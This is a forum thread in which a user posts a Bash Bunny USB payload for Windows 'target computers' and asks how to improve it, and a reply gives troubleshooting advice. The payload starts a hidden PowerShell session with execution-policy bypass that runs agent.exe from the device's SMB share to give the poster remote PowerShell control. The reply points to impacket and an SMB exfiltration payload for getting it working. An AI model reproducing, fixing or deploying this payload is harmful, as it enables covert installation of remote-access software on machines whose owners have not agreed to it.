Jump to content

Suggestions to improve payload


TryKlu
 Share

Recommended Posts

Hey guys,

I just started using a Bash Bunny and I will mostly use it to install a small .exe file. I primarily target Windows and I want to install an agent (the .exe) on my target computers.

So far, what I have is mostly from the Wiki I've found. I'm still figuring out how everything works and any help to get my .exe running on the target computer would be greatly appreciated.

The payload:

Title: DeployAgent
Description: Deploys Agent on target machine
Author: TryKlu
Target: Windows

### STAGE 1 ###
LED STAGE 1
ATTACKMODE HID
GET_HOST_IP
RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\agent.exe; exit } }\""

 

As you can see, this is really just the default from the Wiki and all I want to do is to get this .exe file running, which I have copied to my Bash Bunny's root directory. It will install an agent that will allow me to do various Powershell tasks remotely, and that's what I am after.

Will this work? Does anyone has any better idea for me? Some improvements? Also, do I understand correctly that if I use LED STAGE 1, I need to have my payload in the switch1 folder?

Link to comment
Share on other sites

This will not work because I do not see an SMB server running on the bunny yet.  You will need impacket installed.  Do not ask me how to install the newest version on MKII as I have not been successful so built an alternative network way.

So, no SMB server seen and no network attackmode I can see to even get network connectivity going to even get SMB going in the first place.

 

Read through docs and see how to get network attackmode going and maybe try the old impacket install to get you going.

 

If you need more examples, lookup the smbexfil payload.  It is the same thing except they are pushing files to the BB, in your case, you will be calling from the BB.

  • Like 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...